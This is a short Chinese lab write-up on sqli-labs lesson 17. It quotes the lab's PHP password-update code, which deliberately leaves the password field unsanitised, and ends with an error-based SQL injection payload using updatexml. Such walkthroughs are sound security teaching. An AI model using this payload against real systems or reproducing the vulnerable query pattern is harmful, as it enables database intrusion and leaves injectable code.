zoukankan      html  css  js  c++  java
  • sqli-labs第十七题

    查看题目

    基于错误的字符型注入
    场景是更新密码

    寻找SQL注入

    测试一番始终是“笨蛋HACKER”的页面。
    。。。。。。
    与之前的题型不同,懵逼ing...

    审计源码

    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
    
    		// Stripslashes if magic quotes enabled
    		if (get_magic_quotes_gpc())
    			{
    			$value = stripslashes($value);
    			}
    
    		// Quote if not a number
    		if (!ctype_digit($value))
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
    		$value = intval($value);
    		}
    	return $value;
    	}
    
    if(isset($_POST['uname']) && isset($_POST['passwd']))  //需要用户名和密码都有输入
    {
    //making sure uname is not injectable
    $uname=check_input($_POST['uname']);  //对用户名参数做了输入检查
    
    $passwd=$_POST['passwd'];
    
    
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."
    ");
    fwrite($fp,'New Password:'.$passwd."
    ");
    fclose($fp);
    
    
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    //echo $row;
    	if($row)                  //当用户名存在时,才会执行修改密码的操作
    	{
      		//echo '<font color= "#0000ff">';	
    		$row1 = $row['username'];  	
    		//echo 'Your Login name:'. $row1;
    		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    		mysql_query($update);
      		echo "<br>";
    

    因为对用户名做了严格的检查,所以我们首先要取得一个用户名。

    测试常用用户名

    得到一个用户名“admin”

    Mysql显错注入

    payload:' and updatexml(1,concat(0x7c,user()),1)#

  • 相关阅读:
    【DDD】领域驱动设计实践 —— 架构风格及架构实例
    【DDD】领域驱动设计精要
    Zynq UltraScale+ cross compiler
    Platform device/driver注册过程 (转)
    static inline extern等概念
    (int argc, char *argv[]) 指针数组
    linux man 1,2,3 命令
    指针左值错误
    arm ds5 编译选项
    在JTAG菊花链拓扑对设备编程
  • 原文地址:https://www.cnblogs.com/a-qi/p/13542063.html
Copyright © 2011-2022 走看看